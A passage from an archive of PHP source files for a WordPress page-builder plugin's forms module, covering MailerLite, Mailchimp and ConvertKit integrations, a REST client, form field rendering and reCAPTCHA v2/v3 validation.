wp_json_encode( $subscriber_data ), 202 ); } } mailerlite-handler.php 0000666 00000005074 15166133740 0011037 0 ustar 00 <?php namespace ElementorPro\Modules\Forms\Classes; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Mailerlite_Handler { /** * @var Rest_Client */ private $rest_client = null; private $api_key = ''; /** * Mailerlite_Handler constructor. * * @param $api_key * * @throws \Exception */ public function __construct( $api_key ) { if ( empty( $api_key ) ) { throw new \Exception( 'Invalid API key.' ); } $this->init_rest_client( $api_key ); if ( ! $this->is_valid_api_key() ) { throw new \Exception( 'Invalid API key.' ); } } private function init_rest_client( $api_key ) { $this->api_key = $api_key; $this->rest_client = new Rest_Client( 'https://api.mailerlite.com/api/v2/' ); $this->rest_client->add_headers( [ 'X-MailerLite-ApiKey' => $api_key, 'Content-Type' => 'application/json', ] ); } /** * validate api key * * @return bool * @throws \Exception */ private function is_valid_api_key() { $groups = $this->rest_client->get( 'groups' ); if ( ! empty( $groups ) ) { return true; } $this->api_key = ''; return false; } /** * get MailerLite groups associated with API key * @return array * @throws \Exception */ public function get_groups() { $results = $this->rest_client->get( 'groups' ); $groups = [ '' => esc_html__( 'Select...', 'elementor-pro' ), ]; if ( 200 === $results['code'] ) { foreach ( $results['body'] as $index => $group ) { $groups[ $group['id'] ] = $group['name']; } } $return_array = [ 'groups' => $groups, 'fields' => $this->get_fields(), ]; return $return_array; } /** * get MailerLite fields associated with API key * @return array * @throws \Exception */ public function get_fields() { $results = $this->rest_client->get( 'fields' ); $fields = []; if ( ! empty( $results['body'] ) ) { foreach ( $results['body'] as $index => $field ) { if ( ! is_array( $field ) || empty( $field['date_updated'] ) ) { continue; } $fields[] = [ 'remote_label' => $field['title'], 'remote_type' => strtolower( $field['type'] ), 'remote_id' => $field['key'], 'remote_required' => false, ]; } } return $fields; } /** * create subscriber at drip via api * * @param string $group * @param array $subscriber_data * * @return array|mixed * @throws \Exception */ public function create_subscriber( $group = '', $subscriber_data = [] ) { $end_point = sprintf( 'groups/%s/subscribers', $group ); return $this->rest_client->post( $end_point, $subscriber_data ); } } form-base.php 0000666 00000020251 15166133740 0007142 0 ustar 00 <?php namespace ElementorPro\Modules\Forms\Classes; use Elementor\Utils; use ElementorPro\Base\Base_Widget; use ElementorPro\Modules\Forms\Module; use Elementor\Icons_Manager; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } abstract class Form_Base extends Base_Widget { public function on_export( $element ) { /** @var \ElementorPro\Modules\Forms\Classes\Action_Base[] $actions */ $actions = Module::instance()->actions_registrar->get(); foreach ( $actions as $action ) { $new_element_data = $action->on_export( $element ); if ( null !== $new_element_data ) { $element = $new_element_data; } } return $element; } public static function get_button_sizes() { return [ 'xs' => esc_html__( 'Extra Small', 'elementor-pro' ), 'sm' => esc_html__( 'Small', 'elementor-pro' ), 'md' => esc_html__( 'Medium', 'elementor-pro' ), 'lg' => esc_html__( 'Large', 'elementor-pro' ), 'xl' => esc_html__( 'Extra Large', 'elementor-pro' ), ]; } protected function make_textarea_field( $item, $item_index ) { $this->add_render_attribute( 'textarea' . $item_index, [ 'class' => [ 'elementor-field-textual', 'elementor-field', esc_attr( $item['css_classes'] ), 'elementor-size-' . $item['input_size'], ], 'name' => $this->get_attribute_name( $item ), 'id' => $this->get_attribute_id( $item ), 'rows' => $item['rows'], ] ); if ( $item['placeholder'] ) { $this->add_render_attribute( 'textarea' . $item_index, 'placeholder', $item['placeholder'] ); } if ( $item['required'] ) { $this->add_required_attribute( 'textarea' . $item_index ); } $value = empty( $item['field_value'] ) ? '' : $item['field_value']; return '<textarea ' . $this->get_render_attribute_string( 'textarea' . $item_index ) . '>' . $value . '</textarea>'; } protected function make_select_field( $item, $i ) { $this->add_render_attribute( [ 'select-wrapper' . $i => [ 'class' => [ 'elementor-field', 'elementor-select-wrapper', 'remove-before', esc_attr( $item['css_classes'] ), ], ], 'select' . $i => [ 'name' => $this->get_attribute_name( $item ) . ( ! empty( $item['allow_multiple'] ) ? '[]' : '' ), 'id' => $this->get_attribute_id( $item ), 'class' => [ 'elementor-field-textual', 'elementor-size-' . $item['input_size'], ], ], ] ); if ( $item['required'] ) { $this->add_required_attribute( 'select' . $i ); } if ( $item['allow_multiple'] ) { $this->add_render_attribute( 'select' . $i, 'multiple' ); if ( ! empty( $item['select_size'] ) ) { $this->add_render_attribute( 'select' . $i, 'size', $item['select_size'] ); } } $options = preg_split( "/\\r\\n|\\r|\\n/", $item['field_options'] ); if ( ! $options ) { return ''; } ob_start(); ?> <div <?php $this->print_render_attribute_string( 'select-wrapper' . $i ); ?>> <div class="select-caret-down-wrapper"> <?php if ( ! $item['allow_multiple'] ) { $icon = [ 'library' => 'eicons', 'value' => 'eicon-caret-down', 'position' => 'right', ]; Icons_Manager::render_icon( $icon, [ 'aria-hidden' => 'true' ] ); } ?> </div> <select <?php $this->print_render_attribute_string( 'select' . $i ); ?>> <?php foreach ( $options as $key => $option ) { $option_id = $item['custom_id'] . $key; $option_value = esc_attr( $option ); $option_label = esc_html( $option ); if ( false !== strpos( $option, '|' ) ) { list( $label, $value ) = explode( '|', $option ); $option_value = esc_attr( $value ); $option_label = esc_html( $label ); } $this->add_render_attribute( $option_id, 'value', $option_value ); // Support multiple selected values if ( ! empty( $item['field_value'] ) && in_array( $option_value, explode( ',', $item['field_value'] ) ) ) { $this->add_render_attribute( $option_id, 'selected', 'selected' ); } ?> <option <?php $this->print_render_attribute_string( $option_id ); ?>><?php // PHPCS - $option_label is already escaped echo $option_label; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></option> <?php } ?> </select> </div> <?php $select = ob_get_clean(); return $select; } protected function make_radio_checkbox_field( $item, $item_index, $type ) { $options = preg_split( "/\\r\\n|\\r|\\n/", $item['field_options'] ); $html = ''; if ( $options ) { $html .= '<div class="elementor-field-subgroup ' . esc_attr( $item['css_classes'] ) . ' ' . $item['inline_list'] . '">'; foreach ( $options as $key => $option ) { $element_id = $item['custom_id'] . $key; $html_id = $this->get_attribute_id( $item ) . '-' . $key; $option_label = $option; $option_value = $option; if ( false !== strpos( $option, '|' ) ) { list( $option_label, $option_value ) = explode( '|', $option ); } $this->add_render_attribute( $element_id, [ 'type' => $type, 'value' => $option_value, 'id' => $html_id, 'name' => $this->get_attribute_name( $item ) . ( ( 'checkbox' === $type && count( $options ) > 1 ) ? '[]' : '' ), ] ); if ( ! empty( $item['field_value'] ) && $option_value === $item['field_value'] ) { $this->add_render_attribute( $element_id, 'checked', 'checked' ); } if ( $item['required'] && 'radio' === $type ) { $this->add_required_attribute( $element_id ); } $html .= '<span class="elementor-field-option"><input ' . $this->get_render_attribute_string( $element_id ) . '> <label for="' . $html_id . '">' . $option_label . '</label></span>'; } $html .= '</div>'; } return $html; } protected function form_fields_render_attributes( $i, $instance, $item ) { $this->add_render_attribute( [ 'field-group' . $i => [ 'class' => [ 'elementor-field-type-' . $item['field_type'], 'elementor-field-group', 'elementor-column', 'elementor-field-group-' . $item['custom_id'], ], ], 'input' . $i => [ 'type' => $item['field_type'], 'name' => $this->get_attribute_name( $item ), 'id' => $this->get_attribute_id( $item ), 'class' => [ 'elementor-field', 'elementor-size-' . $item['input_size'], empty( $item['css_classes'] ) ? '' : esc_attr( $item['css_classes'] ), ], ], 'label' . $i => [ 'for' => $this->get_attribute_id( $item ), 'class' => 'elementor-field-label', ], ] ); if ( empty( $item['width'] ) ) { $item['width'] = '100'; } $this->add_render_attribute( 'field-group' . $i, 'class', 'elementor-col-' . $item['width'] ); if ( ! empty( $item['width_tablet'] ) ) { $this->add_render_attribute( 'field-group' . $i, 'class', 'elementor-md-' . $item['width_tablet'] ); } if ( $item['allow_multiple'] ) { $this->add_render_attribute( 'field-group' . $i, 'class', 'elementor-field-type-' . $item['field_type'] . '-multiple' ); } if ( ! empty( $item['width_mobile'] ) ) { $this->add_render_attribute( 'field-group' . $i, 'class', 'elementor-sm-' . $item['width_mobile'] ); } // Allow zero as placeholder. if ( ! Utils::is_empty( $item['placeholder'] ) ) { $this->add_render_attribute( 'input' . $i, 'placeholder', $item['placeholder'] ); } if ( ! empty( $item['field_value'] ) ) { $this->add_render_attribute( 'input' . $i, 'value', $item['field_value'] ); } if ( ! $instance['show_labels'] ) { $this->add_render_attribute( 'label' . $i, 'class', 'elementor-screen-only' ); } if ( ! empty( $item['required'] ) ) { $class = 'elementor-field-required'; if ( ! empty( $instance['mark_required'] ) ) { $class .= ' elementor-mark-required'; } $this->add_render_attribute( 'field-group' . $i, 'class', $class ); $this->add_required_attribute( 'input' . $i ); } } public function render_plain_content() {} public function get_attribute_name( $item ) { return "form_fields[{$item['custom_id']}]"; } public function get_attribute_id( $item ) { return 'form-field-' . $item['custom_id']; } private function add_required_attribute( $element ) { $this->add_render_attribute( $element, 'required', 'required' ); $this->add_render_attribute( $element, 'aria-required', 'true' ); } } rest-client.php 0000666 00000010524 15166133740 0007522 0 ustar 00 <?php namespace ElementorPro\Modules\Forms\Classes; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } class Rest_Client { private $api_base_url = ''; private $user_agent = 'Elementor Forms (elementor.com)'; public $request_cache = []; private $headers = []; private $request_args = []; public function __construct( $rest_base_url ) { $this->api_base_url = $rest_base_url; //setup defaults $this->set_request_arg( 'timeout', 30 ) ->set_request_arg( 'sslverify', false ) ->add_headers( 'User-Agent', $this->user_agent ); /** * Initiate Elementor form REST API client. * * Fires when Elementor forms are initiated on REST API client. * * @since 2.4.0 * * @param Rest_Client $this An instance of form REST API client. */ do_action( 'elementor-pro/forms/rest_client/init', $this ); return $this; } /** * Set REST API base url. * * @param string $url */ public function set_base_url( $url ) { $this->api_base_url = $url; } /** * Get REST API base url. * * @return string */ public function get_base_url() { return $this->api_base_url; } /** * Add headers to REST API. * * @param $key Header key. * @param $value Optional. Header value. Default is null. * * @return $this An instance of REST API client. */ public function add_headers( $key, $value = null ) { if ( ! is_array( $key ) ) { $this->headers[ $key ] = $value; return $this; } foreach ( $key as $header => $header_value ) { $this->headers[ $header ] = $header_value; } return $this; } /** * Set REST API request arguments. * * @param string $name Optional. Request argument name. Default is ''. * @param null $value Optional. Request argument value. Default is null. * * @return $this An instance of REST API client. */ public function set_request_arg( $name = '', $value = null ) { $this->request_args[ $name ] = $value; return $this; } /** * @uses request * * @param string $endpoint Optional. Default is ''. * @param null $data Optional. Default is null. * * @return array|mixed * @throws \Exception */ public function post( $endpoint = '', $data = null ) { $request_body = wp_json_encode( $data ); return $this->request( 'POST', $endpoint, $request_body ); } /** * @uses request * * @param string $endpoint Optional. Default is ''. * @param null $data Optional. Default is null. * * @return array|mixed * @throws \Exception */ public function get( $endpoint = '', $data = null ) { return $this->request( 'GET', $endpoint, $data ); } /** * @param string $method Optional. Default is 'GET'. * @param string $endpoint Optional. Default is ''. * @param null $request_body Optional. Default is null. * @param int $valid_response_code Optional. Default is '200'. * * @return array * @throws \Exception */ public function request( $method = 'GET', $endpoint = '', $request_body = null, $valid_response_code = 200 ) { $request_url = $this->api_base_url . $endpoint; $base_args = [ 'method' => $method, 'headers' => $this->headers, ]; $api_request_args = array_merge( $base_args, $this->request_args ); if ( null !== $request_body ) { if ( in_array( $method, [ 'POST', 'PUT' ] ) ) { $api_request_args['body'] = $request_body; } else { $request_url = add_query_arg( $request_body, $request_url ); } } $cache_key = md5( $method . $endpoint . json_encode( $api_request_args ) ); if ( isset( $this->request_cache[ $cache_key ] ) && isset( $this->request_cache[ $cache_key ]['parsed'] ) ) { $this->request_cache[ $cache_key ]['parsed']; } $response = wp_remote_request( $request_url, $api_request_args ); $response_code = (int) wp_remote_retrieve_response_code( $response ); $this->request_cache[ $cache_key ]['raw'] = $response; if ( is_wp_error( $response ) || $valid_response_code !== $response_code ) { throw new \Exception( "Rest Client Error: response code {$response_code}." ); } $response_body = json_decode( wp_remote_retrieve_body( $response ), true ); if ( ! is_array( $response_body ) ) { throw new \Exception( 'Rest Client Error: unexpected response type.' ); } $return = [ 'code' => $response_code, 'body' => $response_body, ]; $this->request_cache[ $cache_key ]['parsed'] = $return; return $return; } } recaptcha-handler.php 0000666 00000021435 15166133740 0010641 0 ustar 00 <?php namespace ElementorPro\Modules\Forms\Classes; use Elementor\Settings; use Elementor\Widget_Base; use ElementorPro\Core\Utils; use ElementorPro\Plugin; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } /** * Integration with Google reCAPTCHA */ class Recaptcha_Handler { const OPTION_NAME_SITE_KEY = 'elementor_pro_recaptcha_site_key'; const OPTION_NAME_SECRET_KEY = 'elementor_pro_recaptcha_secret_key'; const OPTION_NAME_RECAPTCHA_THRESHOLD = 'elementor_pro_recaptcha_threshold'; const V2_CHECKBOX = 'v2_checkbox'; protected static function get_recaptcha_name() { return 'recaptcha'; } public static function get_site_key() { return get_option( self::OPTION_NAME_SITE_KEY ); } public static function get_secret_key() { return get_option( self::OPTION_NAME_SECRET_KEY ); } public static function get_recaptcha_type() { return self::V2_CHECKBOX; } public static function is_enabled() { return static::get_site_key() && static::get_secret_key(); } public static function get_setup_message() { return esc_html__( 'To use reCAPTCHA, you need to add the API Key and complete the setup process in Dashboard > Elementor > Settings > Integrations > reCAPTCHA.', 'elementor-pro' ); } public function register_admin_fields( Settings $settings ) { $settings->add_section( Settings::TAB_INTEGRATIONS, static::get_recaptcha_name(), [ 'label' => esc_html__( 'reCAPTCHA', 'elementor-pro' ), 'callback' => function () { echo sprintf( /* translators: 1: Link opening tag, 2: Link closing tag. */ esc_html__( '%1$sreCAPTCHA%2$s is a free service by Google that protects your website from spam and abuse. It does this while letting your valid users pass through with ease.', 'elementor-pro' ), '<a href="https://www.google.com/recaptcha/" target="_blank">', '</a>' ); }, 'fields' => [ 'pro_recaptcha_site_key' => [ 'label' => esc_html__( 'Site Key', 'elementor-pro' ), 'field_args' => [ 'type' => 'text', ], ], 'pro_recaptcha_secret_key' => [ 'label' => esc_html__( 'Secret Key', 'elementor-pro' ), 'field_args' => [ 'type' => 'text', ], ], ], ] ); } public function localize_settings( $settings ) { $settings = array_replace_recursive( $settings, [ 'forms' => [ static::get_recaptcha_name() => [ 'enabled' => static::is_enabled(), 'type' => static::get_recaptcha_type(), 'site_key' => static::get_site_key(), 'setup_message' => static::get_setup_message(), ], ], ] ); return $settings; } protected static function get_script_render_param() { return 'explicit'; } protected static function get_script_name() { return 'elementor-' . static::get_recaptcha_name() . '-api'; } public function register_scripts() { $script_name = static::get_script_name(); $src = 'https://www.google.com/recaptcha/api.js?render=explicit'; wp_register_script( $script_name, $src, [], ELEMENTOR_PRO_VERSION, true ); } public function enqueue_scripts() { if ( Plugin::elementor()->preview->is_preview_mode() ) { return; } $script_name = static::get_script_name(); wp_enqueue_script( $script_name ); } /** * @param Form_Record $record * @param Ajax_Handler $ajax_handler */ public function validation( $record, $ajax_handler ) { $fields = $record->get_field( [ 'type' => static::get_recaptcha_name(), ] ); if ( empty( $fields ) ) { return; } $field = current( $fields ); // PHPCS - response protected by recaptcha secret $recaptcha_response = Utils::_unstable_get_super_global_value( $_POST, 'g-recaptcha-response' ); // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( empty( $recaptcha_response ) ) { $ajax_handler->add_error( $field['id'], esc_html__( 'The Captcha field cannot be blank. Please enter a value.', 'elementor-pro' ) ); return; } $recaptcha_errors = [ 'missing-input-secret' => esc_html__( 'The secret parameter is missing.', 'elementor-pro' ), 'invalid-input-secret' => esc_html__( 'The secret parameter is invalid or malformed.', 'elementor-pro' ), 'missing-input-response' => esc_html__( 'The response parameter is missing.', 'elementor-pro' ), 'invalid-input-response' => esc_html__( 'The response parameter is invalid or malformed.', 'elementor-pro' ), ]; $recaptcha_secret = static::get_secret_key(); $client_ip = Utils::get_client_ip(); $request = [ 'body' => [ 'secret' => $recaptcha_secret, 'response' => $recaptcha_response, 'remoteip' => $client_ip, ], ]; $response = wp_remote_post( 'https://www.google.com/recaptcha/api/siteverify', $request ); $response_code = wp_remote_retrieve_response_code( $response ); if ( 200 !== (int) $response_code ) { /* translators: %d: Response code. */ $ajax_handler->add_error( $field['id'], sprintf( esc_html__( 'Can not connect to the reCAPTCHA server (%d).', 'elementor-pro' ), $response_code ) ); return; } $body = wp_remote_retrieve_body( $response ); $result = json_decode( $body, true ); if ( ! $this->validate_result( $result, $field ) ) { $message = esc_html__( 'Invalid form, reCAPTCHA validation failed.', 'elementor-pro' ); if ( isset( $result['error-codes'] ) ) { $result_errors = array_flip( $result['error-codes'] ); foreach ( $recaptcha_errors as $error_key => $error_desc ) { if ( isset( $result_errors[ $error_key ] ) ) { $message = $recaptcha_errors[ $error_key ]; break; } } } $this->add_error( $ajax_handler, $field, $message ); } // If success - remove the field form list (don't send it in emails and etc ) $record->remove_field( $field['id'] ); } /** * @param Ajax_Handler $ajax_handler * @param $field * @param $message */ protected function add_error( $ajax_handler, $field, $message ) { $ajax_handler->add_error( $field['id'], $message ); } protected function validate_result( $result, $field ) { if ( ! $result['success'] ) { return false; } return true; } /** * @param $item * @param $item_index * @param $widget Widget_Base */ public function render_field( $item, $item_index, $widget ) { $recaptcha_html = '<div class="elementor-field" id="form-field-' . $item['custom_id'] . '">'; $recaptcha_name = static::get_recaptcha_name(); if ( static::is_enabled() ) { $this->enqueue_scripts(); $this->add_render_attributes( $item, $item_index, $widget ); $recaptcha_html .= '<div ' . $widget->get_render_attribute_string( $recaptcha_name . $item_index ) . '></div>'; } elseif ( current_user_can( 'manage_options' ) ) { $recaptcha_html .= '<div class="elementor-alert elementor-alert-info">'; $recaptcha_html .= static::get_setup_message(); $recaptcha_html .= '</div>'; } $recaptcha_html .= '</div>'; // PHPCS - It's all escaped echo $recaptcha_html; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /** * @param $item * @param $item_index * @param $widget Widget_Base */ protected function add_render_attributes( $item, $item_index, $widget ) { $recaptcha_name = static::get_recaptcha_name(); $widget->add_render_attribute( [ $recaptcha_name . $item_index => [ 'class' => 'elementor-g-recaptcha', 'data-sitekey' => static::get_site_key(), 'data-type' => static::get_recaptcha_type(), ], ] ); $this->add_version_specific_render_attributes( $item, $item_index, $widget ); } /** * @param $item * @param $item_index * @param $widget Widget_Base */ protected function add_version_specific_render_attributes( $item, $item_index, $widget ) { $recaptcha_name = static::get_recaptcha_name(); $widget->add_render_attribute( $recaptcha_name . $item_index, [ 'data-theme' => $item['recaptcha_style'], 'data-size' => $item['recaptcha_size'], ] ); } public function add_field_type( $field_types ) { $field_types['recaptcha'] = esc_html__( 'reCAPTCHA', 'elementor-pro' ); return $field_types; } public function filter_field_item( $item ) { if ( static::get_recaptcha_name() === $item['field_type'] ) { $item['field_label'] = false; } return $item; } public function __construct() { $this->register_scripts(); add_filter( 'elementor_pro/forms/field_types', [ $this, 'add_field_type' ] ); add_action( 'elementor_pro/forms/render_field/' . static::get_recaptcha_name(), [ $this, 'render_field' ], 10, 3 ); add_filter( 'elementor_pro/forms/render/item', [ $this, 'filter_field_item' ] ); add_filter( 'elementor_pro/editor/localize_settings', [ $this, 'localize_settings' ] ); if ( static::is_enabled() ) { add_action( 'elementor_pro/forms/validation', [ $this, 'validation' ], 10, 2 ); add_action( 'elementor/preview/enqueue_scripts', [ $this, 'enqueue_scripts' ] ); } if ( is_admin() ) { add_action( 'elementor/admin/after_create_settings/' . Settings::PAGE_ID, [ $this, 'register_admin_fields' ] ); } } } mailchimp-handler.php 0000666 00000010506 15166133740 0010647 0 ustar 00 <?php namespace ElementorPro\Modules\Forms\Classes; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } class Mailchimp_Handler { private $api_base_url = ''; private $api_key = ''; private $api_request_args = []; /** * Mailchimp_Handler constructor. * * @param $api_key * * @throws \Exception */ public function __construct( $api_key ) { if ( empty( $api_key ) ) { throw new \Exception( 'Invalid API key.' ); } // The API key is in format XXXXXXXXXXXXXXXXXXXX-us2 where us2 is the server sub domain for this account $key_parts = explode( '-', $api_key ); if ( empty( $key_parts[1] ) || 0 !== strpos( $key_parts[1], 'us' ) ) { throw new \Exception( 'Invalid API key.' ); } $this->api_key = $api_key; $this->api_base_url = 'https://' . $key_parts[1] . '.api.mailchimp.com/3.0/'; $this->api_request_args = [ 'headers' => [ 'Authorization' => 'Basic ' . base64_encode( 'user:' . $this->api_key ), ], ]; } public function query( $end_point ) { $response = wp_remote_get( $this->api_base_url . $end_point, $this->api_request_args ); if ( is_wp_error( $response ) || 200 != (int) wp_remote_retrieve_response_code( $response ) ) { throw new \Exception( 'Mailchimp error.' ); } $body = json_decode( wp_remote_retrieve_body( $response ), true ); if ( ! is_array( $body ) ) { throw new \Exception( 'Mailchimp error.' ); } return $body; } public function post( $end_point, $data, $request_args = [] ) { $this->api_request_args += $request_args; $this->api_request_args['headers']['Content-Type'] = 'application/json; charset=utf-8'; $this->api_request_args['body'] = wp_json_encode( $data ); $response = wp_remote_post( $this->api_base_url . $end_point, $this->api_request_args ); if ( is_wp_error( $response ) ) { throw new \Exception( 'Mailchimp error.' ); } $body = json_decode( wp_remote_retrieve_body( $response ), true ); $code = (int) wp_remote_retrieve_response_code( $response ); // Throw an exception if there is no response body. // NOTE: HTTP 204 doesn't have a body. if ( 204 !== $code && ! is_array( $body ) ) { throw new \Exception( 'Mailchimp error.' ); } return [ 'code' => $code, 'body' => $body, ]; } public function get_lists() { $results = $this->query( 'lists?count=999' ); $lists = [ '' => 'Select...', ]; if ( ! empty( $results['lists'] ) ) { foreach ( $results['lists'] as $list ) { $lists[ $list['id'] ] = $list['name']; } } $return_array = [ 'lists' => $lists, ]; return $return_array; } public function get_groups( $list_id ) { $results = $this->query( 'lists/' . $list_id . '/interest-categories?count=999' ); $groups = []; if ( ! empty( $results['categories'] ) ) { foreach ( $results['categories'] as $category ) { $interests_results = $this->query( 'lists/' . $list_id . '/interest-categories/' . $category['id'] . '/interests?count=999' ); foreach ( $interests_results['interests'] as $interest ) { $groups[ $interest['id'] ] = $category['title'] . ' - ' . $interest['name']; } } } $return_array = [ 'groups' => $groups, ]; return $return_array; } public function get_fields( $list_id ) { $results = $this->query( 'lists/' . $list_id . '/merge-fields?count=999' ); $fields = [ [ 'remote_label' => 'Email', 'remote_type' => 'email', 'remote_id' => 'email', 'remote_required' => true, ], ]; if ( ! empty( $results['merge_fields'] ) ) { foreach ( $results['merge_fields'] as $field ) { $fields[] = [ 'remote_label' => $field['name'], 'remote_type' => $this->normalize_type( $field['type'] ), 'remote_id' => $field['tag'], 'remote_required' => $field['required'], ]; } } $return_array = [ 'fields' => $fields, ]; return $return_array; } public function get_list_details( $list_id ) { $groups = $this->get_groups( $list_id ); $fields = $this->get_fields( $list_id ); return [ 'list_details' => $groups + $fields, ]; } private function normalize_type( $type ) { static $types = [ 'text' => 'text', 'number' => 'number', 'address' => 'text', 'phone' => 'text', 'date' => 'text', 'url' => 'url', 'imageurl' => 'url', 'radio' => 'radio', 'dropdown' => 'select', 'birthday' => 'text', 'zip' => 'text', ]; return $types[ $type ]; } } convertkit-handler.php 0000666 00000005157 15166133740 0011102 0 ustar 00 <?php namespace ElementorPro\Modules\Forms\Classes; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Convertkit_Handler { /* * @var Rest_Client */ private $rest_client = null; private $api_key = ''; /** * Convertkit_Handler constructor. * * @param $api_key * * @throws \Exception */ public function __construct( $api_key ) { if ( empty( $api_key ) ) { throw new \Exception( 'Invalid API key.' ); } $this->init_rest_client( $api_key ); if ( ! $this->is_valid_api_key() ) { throw new \Exception( 'Invalid API key.' ); } } private function init_rest_client( $api_key ) { $this->api_key = $api_key; $this->rest_client = new Rest_Client( 'https://api.convertkit.com/v3/' ); } /** * validate api key * * @return bool * @throws \Exception */ private function is_valid_api_key() { $forms = $this->get_forms(); if ( ! empty( $forms ) ) { return true; } $this->api_key = ''; return false; } public function get_forms_and_tags() { $forms = $this->get_forms(); $tags = $this->get_tags(); return [ 'data' => [ 'forms' => $forms['forms'], 'tags' => $tags['tags'], ], ]; } /** * get GetResponse lists associated with API key * @return array * @throws \Exception */ public function get_forms() { $results = $this->rest_client->get( 'forms/?api_key=' . $this->api_key ); $forms = [ '' => esc_html__( 'Select...', 'elementor-pro' ), ]; if ( ! empty( $results['body']['forms'] ) ) { foreach ( $results['body']['forms'] as $index => $form ) { if ( ! is_array( $form ) ) { continue; } $forms[ $form['id'] ] = $form['name']; } } $return_array = [ 'forms' => $forms, ]; return $return_array; } public function get_tags() { $results = $this->rest_client->get( 'tags/?api_key=' . $this->api_key ); $tags = [ '' => esc_html__( 'Select...', 'elementor-pro' ), ]; if ( ! empty( $results['body']['tags'] ) ) { foreach ( $results['body']['tags'] as $index => $tag ) { if ( ! is_array( $tag ) ) { continue; } $tags[ $tag['id'] ] = $tag['name']; } } $return_array = [ 'tags' => $tags, ]; return $return_array; } /** * create contact at ConvertKit via api * * @param array $subscriber_data * * @return array|mixed * @throws \Exception */ public function create_subscriber( $form_id, $subscriber_data = [] ) { $endpoint = sprintf( 'forms/' . $form_id . '/subscribe?api_key=%s', $this->api_key ); $this->rest_client->add_headers( 'Content-Type', 'application/json' ); return $this->rest_client->post( $endpoint, $subscriber_data ); } } recaptcha-v3-handler.php 0000666 00000011067 15166133740 0011167 0 ustar 00 <?php namespace ElementorPro\Modules\Forms\Classes; use Elementor\Settings; use Elementor\Widget_Base; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } /** * Integration with Google reCAPTCHA */ class Recaptcha_V3_Handler extends Recaptcha_Handler { const OPTION_NAME_V3_SITE_KEY = 'elementor_pro_recaptcha_v3_site_key'; const OPTION_NAME_V3_SECRET_KEY = 'elementor_pro_recaptcha_v3_secret_key'; const OPTION_NAME_RECAPTCHA_THRESHOLD = 'elementor_pro_recaptcha_v3_threshold'; const V3 = 'v3'; const V3_DEFAULT_THRESHOLD = 0.5; const V3_DEFAULT_ACTION = 'Form'; protected static function get_recaptcha_name() { return 'recaptcha_v3'; } public static function get_site_key() { return get_option( self::OPTION_NAME_V3_SITE_KEY ); } public static function get_secret_key() { return get_option( self::OPTION_NAME_V3_SECRET_KEY ); } public static function get_recaptcha_type() { return self::V3; } public static function get_recaptcha_threshold() { $threshold = get_option( self::OPTION_NAME_RECAPTCHA_THRESHOLD, self::V3_DEFAULT_THRESHOLD ); if ( 0 > $threshold || 1 < $threshold ) { return self::V3_DEFAULT_THRESHOLD; } return $threshold; } public static function is_enabled() { return static::get_site_key() && static::get_secret_key(); } public static function get_setup_message() { return esc_html__( 'To use reCAPTCHA V3, you need to add the API Key and complete the setup process in Dashboard > Elementor > Settings > Integrations > reCAPTCHA V3.', 'elementor-pro' ); } public function register_admin_fields( Settings $settings ) { $settings->add_section( Settings::TAB_INTEGRATIONS, 'recaptcha_v3', [ 'label' => esc_html__( 'reCAPTCHA V3', 'elementor-pro' ), 'callback' => function() { echo sprintf( /* translators: 1: Link opening tag, 2: Link closing tag. */ esc_html__( '%1$sreCAPTCHA V3%2$s is a free service by Google that protects your website from spam and abuse. It does this while letting your valid users pass through with ease.', 'elementor-pro' ), '<a href="https://www.google.com/recaptcha/intro/v3.html" target="_blank">', '</a>' ); }, 'fields' => [ 'pro_recaptcha_v3_site_key' => [ 'label' => esc_html__( 'Site Key', 'elementor-pro' ), 'field_args' => [ 'type' => 'text', ], ], 'pro_recaptcha_v3_secret_key' => [ 'label' => esc_html__( 'Secret Key', 'elementor-pro' ), 'field_args' => [ 'type' => 'text', ], ], 'pro_recaptcha_v3_threshold' => [ 'label' => esc_html__( 'Score Threshold', 'elementor-pro' ), 'field_args' => [ 'attributes' => [ 'min' => 0, 'max' => 1, 'placeholder' => '0.5', 'step' => '0.1', ], 'std' => 0.5, 'type' => 'number', 'desc' => esc_html__( 'Score threshold should be a value between 0 and 1, default: 0.5', 'elementor-pro' ), ], ], ], ] ); } /** * @param $item * @param $item_index * @param $widget Widget_Base */ protected function add_version_specific_render_attributes( $item, $item_index, $widget ) { $recaptcha_name = static::get_recaptcha_name(); $widget->add_render_attribute( $recaptcha_name . $item_index, [ 'data-action' => self::V3_DEFAULT_ACTION, 'data-badge' => $item['recaptcha_badge'], 'data-size' => 'invisible', ] ); } /** * @param Ajax_Handler $ajax_handler * @param $field * @param $message */ protected function add_error( $ajax_handler, $field, $message ) { parent::add_error( $ajax_handler, $field, $message ); $ajax_handler->add_error_message( esc_html__( 'reCAPTCHA V3 validation failed, suspected as abusive usage', 'elementor-pro' ) ); } protected function validate_result( $result, $field ) { $action = self::V3_DEFAULT_ACTION; $action_ok = ! isset( $result['action'] ) ? true : $action === $result['action']; return $action_ok && ( $result['score'] > self::get_recaptcha_threshold() ); } public function add_field_type( $field_types ) { $field_types['recaptcha_v3'] = esc_html__( 'reCAPTCHA V3', 'elementor-pro' ); return $field_types; } /** * @param $item * @param $item_index * @param Widget_Base $widget * * @return $item */ public function filter_recaptcha_item( $item, $item_index, $widget ) { $widget->add_render_attribute( 'field-group' . $item_index, 'class', [ self::get_recaptcha_name() . '-' . $item['recaptcha_badge'], ] ); return $item; } public function __construct() { parent::__construct(); add_filter( 'elementor_pro/forms/render/item/' . self::get_recaptcha_name(), [ $this, 'filter_recaptcha_item' ], 10, 3 ); } } ajax-handler.php 0000666 00000021744 15166133740 0007635 0 ustar 00 <?php namespace ElementorPro\Modules\Forms\Classes; use ElementorPro\Core\Utils; use ElementorPro\Modules\Forms\Module; use ElementorPro\Plugin; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } class Ajax_Handler { public $is_success = true; public $messages = [ 'success' => [], 'error' => [], 'admin_error' => [], ]; public $data = []; public $errors = []; private $current_form; const SUCCESS = 'success'; const ERROR = 'error'; const FIELD_REQUIRED 